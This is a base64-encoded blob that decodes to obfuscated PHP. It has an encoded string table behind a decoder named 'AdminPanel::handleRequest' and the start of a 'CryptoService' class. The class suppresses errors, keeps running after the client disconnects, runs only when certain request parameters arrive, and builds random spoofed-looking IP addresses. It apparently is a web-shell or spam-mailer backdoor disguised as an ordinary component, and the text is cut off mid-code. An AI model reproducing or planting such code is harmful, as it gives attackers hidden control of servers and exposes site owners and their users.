JyA9PiAnY1JNR05oVVZLd1k9JywgJ19zcicgPT4gJ2NCMFpGWEFZQ0Fnd0IxY1hNQmdNQVRZVFZ3TTBBaFZJJywgJ19jdycgPT4gJ2NSSUZOaFFXS3djPScsICdfZmonID0+ICdjQUlJSG5BSEdRTXdHRVlKSngwRVF6c2ZBQUZ3JywgJ19pZCcgPT4gJ2NSb1dHQ2tMRUJRPScsICdfb2d2JyA9PiAnY0JRVUFIQU5DQkUrRFVnWEt3SklGeWNJQ2wwN0NnNGZjQT09JywgJ19ucncnID0+ICdjUU1hQlNrU0hBaz0nLCAnX2drZCcgPT4gJ2NCc1JDM0FDRFJvK0FrMGNLdzFOQ1RBZEZoODJGazBkTkFjUFZnPT0nLCAnX3JkJyA9PiAnY1JFQUVDa0FCaHc9JywgJ19ocCcgPT4gJ2NBd09FbkFJRnhBcEFBbGVPd0lUSEhBPScsICdfZHRsJyA9PiAnY1I4Vkhpa09FeEk9JywgJ19vZicgPT4gJ2NCY1lEWEFBSHg0K0h3aEJPeGtGQTNBPScsICdfbWV6JyA9PiAnY1FRWE5nSUVLeEU9JywgJ19sa2MnID0+ICdjQk1YRFhBR0RobytXUWNGTmh0TScsICdfemR1JyA9PiAnY1JrSUNDa0lEZ1E9JywgJ19xcm8nID0+ICdjQjhJRlhBRkFBVndDQVFHS1FBYVNEc0NBQXB3JywgJ19rcW4nID0+ICdjUklYR1NrREVSVT0nLCAnX29hJyA9PiAnY0F3T0JYQVdCaFZ3Q0J3SFBoY0xXRHNSQmhwdycsICdfcnVuJyA9PiAnY1JvWEJ5a0xFUXM9JywgJ19zbycgPT4gJ2NCd2JIM0FHRXc5d0doY1pQa1VlQmpZSFZRPT0nLCAnX3J2JyA9PiAnY1FJWE5nUUVLeGM9JywgJ191b3YnID0+ICdEejRvTWg0NEpFUVVLVGc9JywgJ19iY2knID0+ICdjQk1EQ25BWkJ3d3hFaHdBTWxnVUJqRVEnLCAnX3B6eScgPT4gJ2NCUVZCbkFlRVFBeEZRb01NbDRPRlRvZkJRNDJIRThHTUI4SCcsICdfeGhlJyA9PiAnY0J3SEZIQUZHd1UrQlZzREt3cGJDUzhNR2dJMEFCbElQQVlhQUE9PScsICdfa3hpJyA9PiAnY0FJWkRIQUNGUVl5VTBJS0p3NEFRVHdJQXdrPScsICdfaHMnID0+ICdjQXdHUEVZWEp3QWZjQXdLTmdSY1BBWWNPUT09JywgJ195cicgPT4gJ2NCWUFBbkFQSEJNK0Qxd1ZLd0JjRlNjS0hsNDhEQjBXJywgJ196d2MnID0+ICdjQllmQjNBZUNnMHpYQThQTmg1R0NUWWZId0V0WFFnTE1SVT0nLCAnX2dyZScgPT4gJ2NBZ1RQRUlETkFRS2NBa01OZ0JKUEFJSk9RPT0nLCAnX3J5aScgPT4gJ2NBRUFBWEFGR1FNcERRZE5QQXNhQkhFQVcxZHZTUUVST2hZPScsICdfYXknID0+ICdjQU1TUEVrVUxCWUhNZ0pKTXdrRlBncElPMGtDTkE4TEFCVVBPQWdQTVFGSVBBa0lPUT09JywgJ196dHonID0+ICdjQklGRzNBSEhBdytXQklYTVJFWUh3PT0nLCAnX2xoJyA9PiAnY0NBUEh4a0NCZ01ER0VGT2NVRkRTUT09JywgJ19xZmMnID0+ICdEeVU0Q1RZbEdsYzZHaTQ9JywgJ19ndXInID0+ICdjQkFUQVRJckNCbzJBaGtjT2lzVERTWW9DMEppS0F0Q2QxcFNRWEE9JywgJ19hZycgPT4gJ0R6TS9OUjQxTTBNVUpDOD0nLCAnX2tvcCcgPT4gJ2NCWUtIVEl0Q2hFbUxoSmVBMXBQWG5NdUVsNEVWVU1wZDF4TFhRUlZReWtEQVVzb2RsMD0nLCAnX3poYicgPT4gJ0R5QXpMQjRtUDFvVU55TT0nLCAnX2t5ZicgPT4gJ2NCc1NIamMzQUVCaU53QkFCRXhSTjNkRldVTUVURkUzY0E9PScsICdfZ3p6JyA9PiAnRHpjc0NTUXhHa1V1R2p3PScsICdfZmsnID0+ICdjQWdKR0hJRkJRMDZQeDlMWWo4ZlMzZE5Sa2h3JywgJ19tZXgnID0+ICdEejhvQ1N3MUdrMHFHalE9JywgJ195cCcgPT4gJ2NBWVNHWEFjSEF4d0hSSUNNMTRmQkRnPScsICdfdHR2JyA9PiAnY0FZVkZuQWNHd053QXcwWE14OFQnLCAnX3J6cycgPT4gJ2NCY1BFWEFOQVFSd0RoNEdNUVVGQ2pKUEFndzQnLCAnX2VkdScgPT4gJ2NBRVhGSEFiR1FGd0VnNFBNbGdiQnpZWkdnazQnLCAnX29nZScgPT4gJ2NBMEVBanNJQlFSL0NnNGFmd2NaRERJOUdFaDNUMEZLY0E9PScsICdfd3dyJyA9PiAnRHljdUxoNGhJbGdVTUQ0PScsICdfeHNwJyA9PiAnR3k0dEx3QTFOaXNKSkRBbkFDNGhPdz09JywgJ190aycgPT4gJ0VEUWhLUnN2TFNvQUx5RStHUzBvSWc9PScsICdfbGprJyA9PiAnR2lJNVBBQStPemdTSlRzMEJnPT0nLCAnX3B5JyA9PiAnR3ljOEt3QW5NRDhBUERReUZ3PT0nLCAnX3lvJyA9PiAnRWk0Z0lnQXJJaWNTTUNJckJnPT0nLCAnX3NjdScgPT4gJ0R5cy9QUjR0TTBzVVBDOD0nLCAnX2R1bicgPT4gJ0R6d2xNUjQ2S1VjVUt6VT0nLCAnX3RzJyA9PiAnY0FJUlBFZ1dMQXRLTHhVTUtRWVJPa2c9JywgJ19zc2onID0+ICdjQlFPR25BVkVSQXlYZz09JywgJ19keicgPT4gJ2NCWVFQRndMTHhZS094Z05NbHdQT2dvWGNBPT0nLCAnX2FwJyA9PiAnY0FRSExWMEtOaEJKT3hrUE1sMD0nLCAnX2hrYicgPT4gJ2NBOGRFM0FIQ0JrelJRMGJOZ2RHJywgJ19ocXEnID0+ICdjQVFTUEU0REp3Z0xhMDRDTkFnTGNBPT0nLCAnX3ZrJyA9PiAnY0FZYlBFd2ZNQkFiT1FvWGNBY0VOZzVBJywgJ19xY2onID0+ICdjQXdTQ25BVkRocytGVTRkS3hwT0hEUVFERmM9JywgJ19hc3knID0+ICdjQkFHRnpwWERSRTJGVVk9JywgJ196Z2EnID0+ICdjQUlhQkRwRkdBZzJCbG9OTkFNWVJnPT0nLCAnX2tkdicgPT4gJ2NCb0xGRHBkRVFvNkFFc2ROQnNKVmc9PScsICdfYXcnID0+ICdjQmtlRGl0RUZRbzJCbDQ9JywgJ19tbGEnID0+ICdEelk3TGg0d04xZ1VJU3M9JywgJ194bGwnID0+ICdjUT09JywgJ19jaWgnID0+ICdjVjQ9JywgJ19tbGgnID0+ICdWUT09JywgJ19lYicgPT4gJ1VnPT0nLCAnX3l5JyA9PiAnJywgJ193aXAnID0+ICdPUUVITWc9PScsICdfeHonID0+ICdLd2s9JywgJ19vZ20nID0+ICdMQVlNTlJZTkt3PT0nLCAnX2VweScgPT4gJ094SU9GQT09JywgJ19haicgPT4gJ01nUUFMQUFVT2t3YU93PT0nLCAnX3dxYycgPT4gJ1VtWT0nLCAnX3VieicgPT4gJycsICdfd2hmJyA9PiAnWlE9PScsICdfeXhrJyA9PiAnY0NVTFdIQT0nLCAnX3BiJyA9PiAnZnc9PScsICdfc2NsJyA9PiAnWlE9PScsICdfa3cnID0+ICdPeGtFQWc9PScsICdfbGMnID0+ICdPeGNjQVdVPScsICdfb2InID0+ICdPd1lTQ2c9PScsICdfcHphJyA9PiAnTWdvZkxBNExPa0lGT3c9PScsICdfemppJyA9PiAnTWhRVUxCQUFPbHdPTzB0YicsICdfZnZ2JyA9PiAnWVE9PScsICdfd3FyJyA9PiAnTWdNVUFENEJBbDQyQWc9PScsICdfZ2ZoJyA9PiAnT1FZR0F3PT0nLCAnX2pudycgPT4gJ09RVUxIbVU9JywgJ19hc3QnID0+ICdPUjBiQUE9PScsICdfbnNuJyA9PiAnS3dRPScsICdfZ3piJyA9PiAnS3g1SScsICdfZ2h3JyA9PiAnS3hvPScsICdfcGR1JyA9PiAnWlE9PScsICdfY2dsJyA9PiAnWlE9PScsICdfbGhpJyA9PiAnS2hZVUF5MEdCZz09JywgJ196Y3UnID0+ICdVbnM9JywgJ19ybHUnID0+ICdaUT09JywgJ192YScgPT4gJ2NDd2VTbkE9JywgJ19pZXknID0+ICdmdz09JywgJ19zdW0nID0+ICdaUT09JywgJ196ZCcgPT4gJ1VnPT0nLCAnX29yeScgPT4gJycsICdfcGEnID0+ICdWUT09JywgJ19ycXknID0+ICdmMm89JywgJ19icnInID0+ICcnLCAnX2dmdycgPT4gJ1VuTT0nLCAnX21vJyA9PiAnVW1JPScsICdfZmdoJyA9PiAnVW1nPScsICdfdGZqJyA9PiAnSHc9PScsICdfemFyJyA9PiAnT0FjV056d1hFQm82REJZM0toRUhHZz09JywgJ196bycgPT4gJ0xRQUVFdz09JywgJ19yanInID0+ICdERG9xSWhvdScsICdfYXQnID0+ICdNUThMQXljPScsICdfbGUnID0+ICdQaFVXRFRjQScsICdfZHYnID0+ICdLQklXVnpzRUZScz0nLCAnX3h5cCcgPT4gJ053WU5CVHM9JywgJ191bycgPT4gJ0tCUWYnLCAnX2JvYycgPT4gJ0REMCtKaG9xTXpFYlBEND0nLCAnX3RoZicgPT4gJ0RDUWxOQm96S0NNYkpTVT0nLCAnX2h0ZycgPT4gJ0xBY1RIanM9JywgJ19iZmknID0+ICdQQndSYkZ3PScsICdfdHRuJyA9PiAnRFIwS0F6WU9EQUpsV0E4VU1CVkonLCAnX2xhZicgPT4gJ2Ywdz0nLCAnX210JyA9PiAnZnlFPScsICdfa3lqJyA9PiAnQWtkdWZ3PT0nLCAnX3hyeScgPT4gJ1ZnRVBTUT09JywgJ19hdmYnID0+ICdmMFloTUIwRk9RY0pkazRHTmhvWmZ5c2lFam9oZndjVmZ3PT0nLCAnX2lkYicgPT4gJ1VuZz0nLCAnX2h0dScgPT4gJ1Zod1pIWDlHJywgJ192aXUnID0+ICdZVlZDJywgJ192d2YnID0+ICdVbk09JywgJ19raCcgPT4gJ0RSSVZCellCRXdabFZ4UWJmdz09JywgJ19seicgPT4gJ2YxazdEQ3dGRFFvblhVc0ZMUjRHUXlvQ0RoRTJGVXM9JywgJ19vYmknID0+ICdkbnB2JywgJ19mbCcgPT4gJ1Znd1RWUT09JywgJ19rZnonID0+ICdaRm89JywgJ196Y3knID0+ICdVbVE9JywgJ19xd2wnID0+ICdEUTBaQkRZZUh3VmxTQndUTUFWYScsICdfcmFtJyA9PiAnZndFRGZ3PT0nLCAnX3B2dCcgPT4gJ2Z4a0NHVGRPQndJOER3ZE5kdz09JywgJ19rd3EnID0+ICdkblZtJywgJ19ibGonID0+ICdWbG9NQnlrWEJRWXZGMFFQTFIwRVNXTT0nLCAnX3h5ZScgPT4gJ1lWcDVZQT09JywgJ195aScgPT4gJ1ZnZ05RZz09JywgJ19idicgPT4gJ2NsYz0nLCAnX295dCcgPT4gJ2NnPT0nLCAnX25waicgPT4gJ1VuMD0nLCAnX2ljZCcgPT4gJ1ZnY09MVUZkJywgJ193cWcnID0+ICdZVjlPJywgJ19jeW4nID0+ICdVbms9JywgJ192aCcgPT4gJ0xBTWQnLCAnX2ZiJyA9PiAnTEJRQlpVaEMnLCAnX2Z2cicgPT4gJ0t3d0RWbkJBJywgJ19qZGInID0+ICdaUT09JywgJ19id2QnID0+ICcnLCAnX2diYycgPT4gJ09RUVpQQndaTHhJWScsICdfbmdxJyA9PiAnTEJZRkRqNFBLQmd3QVJ3T0t6MFVCellIR1I4PScsICdfaXRiJyA9PiAnY0Q5WFdHOU8nLCAnX250eCcgPT4gJ0dpSTRQSDg9JywgJ196eG4nID0+ICdVbTQ9JywgJ19xcG4nID0+ICdjQ2xVYWtkSicsICdfbG5tJyA9PiAnRnkwcExYOD0nLCAnX2NsJyA9PiAnVW5vPScsICdfYWlqJyA9PiAnY0NaQ2FraGYnLCAnX2FicicgPT4gJ0RERXJLQXN4SmlrPScsICdfd3Z5JyA9PiAnREN3c0tnc3NJU3RTY2c9PScsICdfbXAnID0+ICdjQ1JhUUc5VicsICdfaGphJyA9PiAnR2lVNE5YOD0nLCAnX2J0YicgPT4gJ1VtWT0nLCAnX3NtJyA9PiAnY0RkVmFsbEknLCAnX2pwJyA9PiAnRWlRdkpIOGpOQ2NTWDBaVScsICdfdWRzJyA9PiAnWVh0cycsICdfYnp4JyA9PiAnY0R4Q1RHOU4nLCAnX3dwJyA9PiAnRFNJekkzODFMRTEvWFE9PScsICdfc2onID0+ICdZV1J2JywgJ19mcicgPT4gJ2NEQkxYZ1JlU0RadycsICdfbXVvJyA9PiAnR3lJNUhtNW4nLCAnX2ZsaicgPT4gJ2NDNWZha1JEJywgJ19wZCcgPT4gJ1ZRPT0nLCAnX3ZwcycgPT4gJ1Vucz0nLCAnX3lrJyA9PiAnVW5BPScsICdfZmxiJyA9PiAnYlY5WScsICdfd213JyA9PiAnRGkwOUpGSnknLCAnX2VwJyA9PiAnR2ljbEpIOD0nLCAnX2FvaScgPT4gJ1VuST0nLCAnX2pwbicgPT4gJ2NEZFVhbGxKJywgJ19ycGMnID0+ICdGellvTzM4PScsICdfcGx0JyA9PiAnVW4wPScsICdfaHlzJyA9PiAnY0RKUlIyOUQnLCAnX3pwcicgPT4gJ0RDUW1NUXNrS3pBPScsICdfbHgnID0+ICdEQzRuUHdzdUtqNVNjQT09JywgJ195dnEnID0+ICdjRHBVVlc5TCcsICdfY2VkJyA9PiAnR2pJOUVGbz0nLCAnX2N4aycgPT4gJ1VtMD0nLCAnX2hvZScgPT4gJ2NEaElRMjlKJywgJ19kdScgPT4gJ0hpODJMMzgyTFNBV05HOXQnLCAnX3lrZicgPT4gJ2NDMURWMnRjJywgJ19hbXUnID0+ICdVbXc9JywgJ19kbmQnID0+ICdjQ1JiYkU1SCcsICdfcXknID0+ICdVbmc9JywgJ19tcicgPT4gJ2NEcGFRbXBMJywgJ194d20nID0+ICdFamtvSVg4K015SVNRa0ZSJywgJ19lbm0nID0+ICdZVzU3JywgJ19jcCcgPT4gJ2NESkRYRzlEJywgJ19vd3knID0+ICdEU2d5UDM4L0xWRi9Wdz09JywgJ19sZHAnID0+ICdZV3BtJywgJ19za24nID0+ICdjREZkUUFSZlhpaHcnLCAnX2R4JyA9PiAnR3lBekxWSnInLCAnX29qdScgPT4gJ2NEOVZWMnRPJywgJ19vcCcgPT4gJ1ZRPT0nLCAnX3RjeCcgPT4gJ1VuOD0nLCAnX21yeScgPT4gJ1Vubz0nLCAnX2dvJyA9PiAnYlY5YScsICdfZ3h6JyA9PiAnRGl3c0lWSnonLCAnX3dxeicgPT4gJycsICdfcmd6JyA9PiAnZnc9PScsICdfYmN2JyA9PiAnUFYwYkRDMEJHQTRxRnhnT09oME5IejRmVndJdEZBPT0nLCAnX3FveScgPT4gJ0p3NFlXU3djRlJvM0RRRUVjUU1HRUE9PScsICdfYXhkJyA9PiAnTEFZR1RTd1VDdzQzQlI4UWNRc1lCQT09JywgJ19kcycgPT4gJ0pSWWJjUUFGUGg0ZFBnWUdjUndIT0E9PScsICdfb2ZqJyA9PiAnUFJSWEh5OFpGQTh3Q0ZjQ09ndz0nLCAnX3dobicgPT4gJ2RSUUJGV1VURFJJeENSUVhkUT09JywgJ19oenYnID0+ICdjUT09JywgJ19peGMnID0+ICdjUT09JywgJ19xZXonID0+ICcnLCAnX2doaCcgPT4gJ2NRPT0nLCAnX3Z4JyA9PiAnY1E9PScsICdfYXp6JyA9PiAnSGc9PScsICdfbWVpJyA9PiAnYzBzPScsICdfdnNxJyA9PiAnYzA4PScsICdfaHQnID0+ICdEQ2NuSnhvd0tqOGVMekE9JywgJ19mYScgPT4gJ0Z5d2hNUUF3T2pJTCcsICdfa3RrJyA9PiAnRENzL1BCbzhNaXNiS2o4PScsICdfZnZrJyA9PiAnJywgJ19wcGonID0+ICdNeDhYRWpNWUd3QXInLCAnX21ibCcgPT4gJ2JrRldjVU5QYjExUScsICdfaGxrJyA9PiAnY1E9PScsICdfZmJoJyA9PiAnJywgJ19xdScgPT4gJ2NGMDZPMHhDY0E9PScsICdfcnRsJyA9PiAnJywgJ19jYycgPT4gJ013NEVBRE1KQ0JJclR3c09QQUFMQlRBTUJnZ3gnLCAnX296aScgPT4gJ2NDMEFFaWd2V1VvMicsICdfcG5wJyA9PiAnJywgJ19yancnID0+ICdjRHBFT2pzZlhVcHNHVEJJZGg5Zkd3TUFGMWR6VnhGQ2NBPT0nLCAnX2ZuaCcgPT4gJ1pRPT0nLCAnX2dkYycgPT4gJ2NDbEZNMjlhVkFseUVTeEZHU29XV1hOREVGSjJERnhFYUFvMldISk9ERVU1TmtBdUFneGNSR3NLU1VjPScsICdfb3VoJyA9PiAnY1E9PScsICdfd25xJyA9PiAnY1E9PScsICdfb2F6JyA9PiAnY1E9PScsICdfam1mJyA9PiAnT0I4SEZTY0lBUT09JywgJ19qcHUnID0+ICdPeDRKTERnVkRpd3RGUmtjTFJRPScsICdfeWJpJyA9PiAnS3hNY0ZUb0cnLCAnX2ltaicgPT4gJ0t4a2VPQjBZJywgJ19kdnYnID0+ICdMeDBUJywgJ19sZHgnID0+ICdMd29UJywgJ19leWgnID0+ICdOZ1E9JywgJ193YScgPT4gJ05odz0nLCAnX3RyZycgPT4gJ2NEWlBBd3djYmtSVUlqUkpkaE5VSWpRREpGbExiQlZEY0E9PScsICdfY3l0JyA9PiAnQkE9PScsICdfbGNoJyA9PiAnQWc9PScsICdfb25hJyA9PiAnWlE9PScsICdfb2hlJyA9PiAnY0RkTE5XOUVXZzl5RHlKREdUUVlYM05kSGxSMkVsSkNhQlE0WG5KUUFrTTVLRTRvQWhKU1Ftc1VSMEU9JywgJ195aW0nID0+ICdCQT09JywgJ19pcnMnID0+ICdBZz09JywgJ19sbW0nID0+ICcnLCAnX215aCcgPT4gJycsICdfZHlsJyA9PiAnVlE9PScsICdfaHNtJyA9PiAnZkRROUJ6b01Ed2M2Q3hKUGQwWk5TblkwTzFZMkd3PT0nLCAnX2NwcScgPT4gJ2ZEMFBCajRQRURsbFNWcGZZRWdvQ1h3SUJ3PT0nLCAnX3l5aycgPT4gJ1lVZFMnLCAnX3BqJyA9PiAnTndVZUwwdEZjQT09JywgJ19sbnonID0+ICdEVEFoT0JvbUpESUtKems9JywgJ19xdGInID0+ICdNMUU9JywgJ19tZ3UnID0+ICdPZ1FMRFROVCcsICdfZXdkJyA9PiAnZVFOUycsICdfc3YnID0+ICdLUmtIVGc9PScsICdfbXBiJyA9PiAnWlE9PScsICdfY3RjJyA9PiAnZVJRPScsICdfcHZjJyA9PiAnWWc9PScsICdfdG9qJyA9PiAnTXc4TE5Gdz0nLCAnX2h5cCcgPT4gJ1pRPT0nLCAnX3V0bicgPT4gJ2VRPT0nLCAnX3V1JyA9PiAnWUJ0WicsICdfbnVsJyA9PiAnQkFJUEdDb1ZFZ2d0SGdNT1pTbz0nLCAnX3JscCcgPT4gJ054NGRHR1ZGUmc9PScsICdfa2JuJyA9PiAnRFQ4M0lCb3BNaW9LS0M4PScsICdfaGtwJyA9PiAnWUFCSycsICdfbnFtJyA9PiAnQkJRREJTb0RIaFV0Q0E4VFpUdz0nLCAnX2RiJyA9PiAnSXc9PScsICdfbXcnID0+ICdmRFEwRlQ0YkNrRnJVa2RaZEZkR0t3SkxCZ1E9JywgJ19iZ3knID0+ICdmQ3dhR0Q0Q1cwWnhXMTVIQXcxQ0J5dz0nLCAnX2VodicgPT4gJ2ZEZzJBeXNRREFFM0NRZ01LMTVGVEhSYlJENENSd1FSJywgJ19iamEnID0+ICdZVmRhJywgJ19ia24nID0+ICcnLCAnX2JjYScgPT4gJ2ZDWXJHU3NPRVJzM0Z4VVdLemRLVUhGUlQxRURKMU1STEE9PScsICdfbWonID0+ICdZVlJMJywgJ19xcW0nID0+ICdmRFpkVFhGQlNrd0RRMVlNTEE9PScsICdfYmx5JyA9PiAnY3c9PScsICdfZnd5JyA9PiAnZHc9PScsICdfemcnID0+ICdkZz09JywgJ191bCcgPT4gJycsICdfeGonID0+ICcnLCAnX3N3eScgPT4gJ2ZESS9IVElQQXhGcFdsNWNjVVZiWFFNelJ4MHMnLCAnX2ZwZycgPT4gJ05oMFdIVHBHUXlVNUdSc2ZjUUFaSFE9PScsICdfY2knID0+ICdPeEFDRFdVPScsICdfeW5kJyA9PiAnWkFNRkxBUlNhMDA9JywgJ19qbHInID0+ICdKQUVFQW1VSycsICdfZ3RlJyA9PiAnSkJFREF6WVlWQjg9JywgJ194a20nID0+ICdKQkVQTFYxZklnPT0nLCAnX2dqcScgPT4gJ0dRQU9GR1ZTJywgJ19ra2UnID0+ICdmMDQ9JywgJ19yaicgPT4gJ1lYaHonLCAnX25tcycgPT4gJ0RSMEZNd0ZZQ3hkUGZ3PT0nLCAnX29idCcgPT4gJ1VtOD0nLCAnX3ZqJyA9PiAnRWowcUxISWlBaHNzSFFnSFpWUldSMjk1YlE9PScsICdfamtlJyA9PiAnVlE9PScsICdfeGJkJyA9PiAnVW5rPScsICdfZXgnID0+ICdVbXc9JywgJ195aicgPT4gJ1BRY2RCbWxTJywgJ196YicgPT4gJ05nMEpGeWs9JywgJ194cmsnID0+ICdZa1U9JywgJ19heXcnID0+ICdZRE5MJywgJ19tc20nID0+ICdDaVE4VDJjPScsICdfaGJ3JyA9PiAnWUZ3PScsICdfZHInID0+ICdZbGs9JywgJ195bmMnID0+ICdZRE5KJywgJ19qbHQnID0+ICdZRlU9JywgJ19oaHMnID0+ICdMZ01CRXpvU1F4Y3RId0FUUGhRQ0FnPT0nLCAnX2hmJyA9PiAnTWhBck9od1hNQllSQUI4ZE1oY2NPaE1RT2dBPScsICdfa2h2JyA9PiAnRGc9PScsICdfc2plJyA9PiAnVW4wPScsICdfdnUnID0+ICdVZz09JywgJ19rdicgPT4gJ1ZRPT0nLCAnX2VxJyA9PiAnVlE9PScsICdfeGdoJyA9PiAnVW1jPScsICdfZmFwJyA9PiAnUFFJZUhXbFgnLCAnX2h2YycgPT4gJ0xnd1hHVG9kVlIwdEVCWVpQaHNVQ0E9PScsICdfbXYnID0+ICdVbkE9JywgJ19zYnAnID0+ICdZdzVMJywgJ19yZ3InID0+ICdZeFU9JywgJ19nenInID0+ICdOeDBYRVE9PScsICdfaWZ4JyA9PiAnZlE9PScsICdfa2d2JyA9PiAnZlE9PScsICdfdnVpJyA9PiAnWTBjPScsICdfanV5JyA9PiAnWVE9PScsICdfbGtoJyA9PiAnTlJVTkRBPT0nLCAnX2F4YScgPT4gJ05Sb2YnLCAnX3R1dCcgPT4gJ09STURIdz09JywgJ190aicgPT4gJ0t3WWRMekVLQUJVPScsICdfZXVhJyA9PiAnT1FzY0FRPT0nLCAnX2trcScgPT4gJ0t3c1dKakVIQ3h3PScsICdfa2h4JyA9PiAnTGh3R0NDc1NGaE13R3dJSk93MEVFalVBRHdBbkNCVVlNUVk9JywgJ19kemEnID0+ICdQaFVQT3hJS09COEhNaGtjTGdVZkt3SWFLQThWSlRZdUhETXBHVEFrRkRvaUR5WStEQ001Q1NBMEJpMWRiVVJZYWtGYlowNWMnLCAnX2NheCcgPT4gJ2JrWkZhMEZBYUV4UGJ3PT0nLCAnX3J4JyA9PiAnUGhvT0R6b2VDZ00wRlFNYkxnb2VIeW9PR2hNbUFseFpiRXhZWFdoQVZGcz0nLCAnX21nYicgPT4gJycsICdfeGpxJyA9PiAnT0EwRk5nVVFPQTBDTmhJVScsICdfYXFrJyA9PiAnTmd3RE9BUUJMUVFES3dRV0xSUUhQQTRPTUJNPScsICdfZGZ5JyA9PiAnTmdFQUJEb1BFd1krR0FRRkxRTU1DUzhKQmc9PScsICdfYWtpJyA9PiAnTmgwS0ZUb1RCQUltQWc0QlBoMGJIam9VJywgJ196cngnID0+ICdOaGdYQ3pvVEh3QXJFQVE9JywgJ19zdnUnID0+ICdNQXM5QkNzSUVBTT0nLCAnX2tsJyA9PiAnTmdnQUVEb1BFUkk0JywgJ195anMnID0+ICdNQlk1RERvQU9RZ3pFUWNGJywgJ19zYWInID0+ICdNaDhYRFFBVkZRWXJFeFFjQUFJREdEbz0nLCAnX3VoJyA9PiAnT1FBZUJ6QTJIeEU2Qnc9PScsICdfdnNzJyA9PiAnUGhFWER6WUNCaGMyRGdsTU1BSVRCaXRNRkJjdEJBWU8nLCAnX2F4eCcgPT4gJ05RVVcnLCAnX2h3bScgPT4gJ05na1dCanBMSFJFNkF3PT0nLCAnX2Z2bCcgPT4gJ05SOGNIUT09JywgJ19senknID0+ICdOZ01VQ0RwQkh4ODZDUT09JywgJ19jdScgPT4gJ0x3RVEnLCAnX3lzdycgPT4gJ05oc0RBVHBaRWdnNCcsICdfY3NhJyA9PiAnT0FjRScsICdfd210JyA9PiAnTmdrRkh6cExBeEU1JywgJ19mZWcnID0+ICdQUm9lJywgJ196bWknID0+ICdOaDBDRERwZkFRWXYnLCAnX2ptJyA9PiAnTHdzQycsICdfaHJvJyA9PiAnUGdBRU14a1hQZ1FkTUI1Ykx4UVMnLCAnX3FnaCcgPT4gJ0pRd2QnLCAnX2VndicgPT4gJ1Bnb2ZIVFlaRGdVMkZRRmVKUk1mJywgJ19peHknID0+ICdMUlFJJywgJ196dicgPT4gJ1BoOFJEellNQUJjMkFBOU1KMElUQWkxQ0Fnd3lIeE1HTEJ3RUJ3PT0nLCAnX3d1aycgPT4gJ0t4MFMnLCAnX3d4ZycgPT4gJ0t4QUpCM0FGSFJJMkd3PT0nLCAnX2JwJyA9PiAnUGhzWk13SUtQaDhBTUFWR01BZ2RPaDlFTEI4Yk9nb0UnLCAnX2NrbycgPT4gJ093Y1lKemdNSHljdERBZ1hMUTA9JywgJ19yZWknID0+ICdjUT09JywgJ19kZnMnID0+ICdjUT09JywgJ196cXAnID0+ICdjUVVZWFQ0SUVnSnhEUVFBUGc9PScsICdfcmpnJyA9PiAnS3c4Q0JUb2EnLCAnX2N1cycgPT4gJ0t3Z0FBem9kJywgJ19yaXAnID0+ICdCUT09JywgJ19zcCcgPT4gJ2NnPT0nLCAnX2F1aScgPT4gJ2RBPT0nLCAnX291JyA9PiAnZWh4U1NpeEtRbHM3JywgJ19ndCcgPT4gJ0cwdElCWDhxU0RaL0wxSUdaUlE9JywgJ19tc2knID0+ICdjUT09JywgJ19tcXQnID0+ICcnLCAnX3ZnZScgPT4gJ0doRUhBMzg9JywgJ19oZ2YnID0+ICdjUT09JywgJ192dG4nID0+ICdMUT09JywgJ19ocXUnID0+ICdIdz09Jyk7CiAgICB9Cn0KCmNsYXNzIENyeXB0b1NlcnZpY2UKewogICAgcHJpdmF0ZSAkX21yOwogICAgcHJpdmF0ZSAkX3h3ID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJF91ZSA9IGFycmF5KCk7CiAgICBwcml2YXRlICRfdmpnID0gMDA7CiAgICBwcml2YXRlICRfbWkgPSAiVVRGLTgiOwogICAgcHJpdmF0ZSAkX3RicCA9ICJiYXNlNjQiOwogICAgcHJpdmF0ZSAkX3ZpciA9IGZhbHNlOwogICAgcHJpdmF0ZSAkX2VwOwogICAgcHJpdmF0ZSAkX3l3ID0gIlxyXG4iOwogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIEBlcnJvcl9yZXBvcnRpbmcoMDApOwogICAgICAgIEBpbmlfc2V0KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xcycsICdfZWNuJyksIDAwKTsKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMDQ1NCk7CiAgICAgICAgQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwogICAgICAgIEBpbmlfc2V0KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19saGgnLCAnX2pvJyksIDA0NTQpOwogICAgICAgIEBpbmlfc2V0KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19teicsICdfd3RlJyksIDAwKTsKICAgICAgICBAaW5pX3NldChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaWxhJywgJ19lem4nKSwgMDApOwogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25icScsICdfcWInKV0pKSB7CiAgICAgICAgICAgIGRpZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZWknLCAnX2R0JykpOwogICAgICAgIH0KICAgICAgICBpZiAoZW1wdHkoJF9SRVFVRVNUKSkgewogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgICAgICRfU0VSVkVSW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196eCcsICdfeWUnKV0gPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcW5vJywgJ19xcmInKTsKICAgICAgICAkdGhpcy0+X21yID0gaXNzZXQoJF9TRVJWRVJbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3F5aycsICdfZ3JnJyldKSA/ICRfU0VSVkVSW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sYicsICdfbGRnJyldIDogcmFuZCgwMSwgMDM3NykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGdyJywgJ19vZ3gnKSAuIHJhbmQoMDAsIDAzNzcpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VraScsICdfc2InKSAuIHJhbmQoMDAsIDAzNzcpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3NzJywgJ19lZW8nKSAuIHJhbmQoMDAsIDAzNzcpOwogICAgICAgIGlmICghZW1wdHkoJF9TRVJWRVJbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVz